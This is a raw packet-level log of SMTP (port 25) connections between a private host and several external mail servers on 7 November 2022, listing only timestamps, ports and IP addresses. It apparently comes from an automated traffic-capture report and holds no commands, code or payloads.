Nov 7, 2022 22:24:46.984977961 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.984994888 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985012054 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985029936 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985047102 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985064030 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985100031 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985117912 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985135078 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985152006 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985168934 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985186100 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985203028 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985223055 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985240936 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985286951 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985304117 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985321045 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985332012 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985349894 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985367060 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985383034 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985399008 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985416889 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985434055 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985450983 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985466957 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985483885 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985501051 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985517979 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985536098 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985553026 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985569954 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985614061 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985630035 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985646963 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985678911 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985694885 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985712051 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985730886 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985748053 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985764980 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985804081 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985820055 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985836983 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985862017 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985883951 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985901117 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985918045 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985934973 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.985984087 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986001015 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986018896 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986037970 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986053944 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986071110 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986088037 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986105919 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986121893 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986138105 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986157894 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986175060 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986191988 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986221075 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986239910 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986259937 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986279011 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:46.986299038 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:47.016884089 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:47.032075882 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:47.032753944 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.064934969 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:47.075278997 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:47.075316906 CET	25	49802	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:47.075401068 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:47.240129948 CET	49802	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:47.244380951 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:47.306704044 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397069931 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397094965 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397111893 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397176981 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397208929 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.397208929 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.397278070 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.397279024 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397295952 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397314072 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397382975 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.397403955 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.397703886 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397738934 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397757053 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.397823095 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.397852898 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.561850071 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:47.562019110 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:47.590565920 CET	49807	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:24:47.760215998 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760257959 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760312080 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760344982 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760370970 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760376930 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760390997 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760417938 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760577917 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760632992 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760687113 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760688066 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760736942 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760771036 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760792017 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760812998 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760833025 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760839939 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760854006 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760858059 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760869980 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760890007 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.760957956 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.760994911 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.761017084 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.761038065 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.761040926 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.761055946 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.761056900 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.761076927 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.761097908 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.761099100 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.761116028 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.761120081 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:47.761140108 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.761152029 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.761172056 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:47.866776943 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:47.866940022 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:48.006100893 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:48.006459951 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:48.123183966 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123301029 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123312950 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.123330116 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123414040 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.123420000 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123440981 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123493910 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123513937 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123513937 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.123532057 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123548985 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123567104 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123642921 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.123691082 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.123735905 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123855114 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123887062 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123903990 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.123914003 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123924017 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.123939991 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123950958 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.123963118 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123980999 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.123989105 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124001026 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124026060 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124047041 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124047995 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124064922 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124078989 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124090910 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124131918 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124157906 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124183893 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124192953 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124209881 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124211073 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124228954 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124229908 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124248981 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124254942 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124278069 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124286890 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124294996 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124304056 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124321938 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124341965 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124357939 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124389887 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124408007 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124430895 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124452114 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124464989 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124500990 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124511957 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124536991 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124557018 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124586105 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124605894 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124614954 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124649048 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124660015 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124674082 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124687910 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124697924 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124711037 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124717951 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.124737978 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.124753952 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.323478937 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:48.449417114 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:48.449703932 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:48.486447096 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.486490011 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.486520052 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.486550093 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.486581087 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.486586094 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.486643076 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.486665010 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.486697912 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.486851931 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.486922979 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.486991882 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487060070 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487180948 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487262964 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487272978 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487334013 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487416983 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487494946 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487498999 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487540960 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487570047 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487597942 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487626076 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487634897 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487634897 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487653017 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487658024 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487679958 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487683058 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487704039 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487713099 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487730026 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487740040 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487754107 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487767935 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487795115 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487817049 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487839937 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487844944 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487884998 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487915039 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487932920 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487945080 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487967014 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.487973928 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.487993956 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488001108 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488019943 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488029957 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488035917 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488058090 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488086939 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488089085 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488106966 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488107920 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488233089 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488234043 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488275051 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488306046 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488344908 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488389969 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488390923 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488434076 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488452911 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488452911 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488475084 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488481045 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488514900 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488538980 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488718033 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488759041 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488802910 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488827944 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488846064 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488850117 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488879919 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488893032 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488912106 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.488936901 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488970041 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.488984108 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489006042 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489015102 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489038944 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489058018 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489092112 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489103079 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489128113 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489149094 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489171982 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489191055 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489216089 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489234924 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489259005 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489279032 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489314079 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489329100 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489353895 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489373922 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489423990 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489447117 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489469051 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489499092 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:48.489516020 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489552021 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489581108 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489609957 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489636898 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489664078 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489691019 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489717007 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489744902 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489773035 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489799976 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489829063 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489856005 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489881992 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489911079 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489938974 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489965916 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.489993095 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.490026951 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.490066051 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.490092993 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.490119934 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:48.490145922 CET	25	49795	74.125.200.26	192.168.2.5
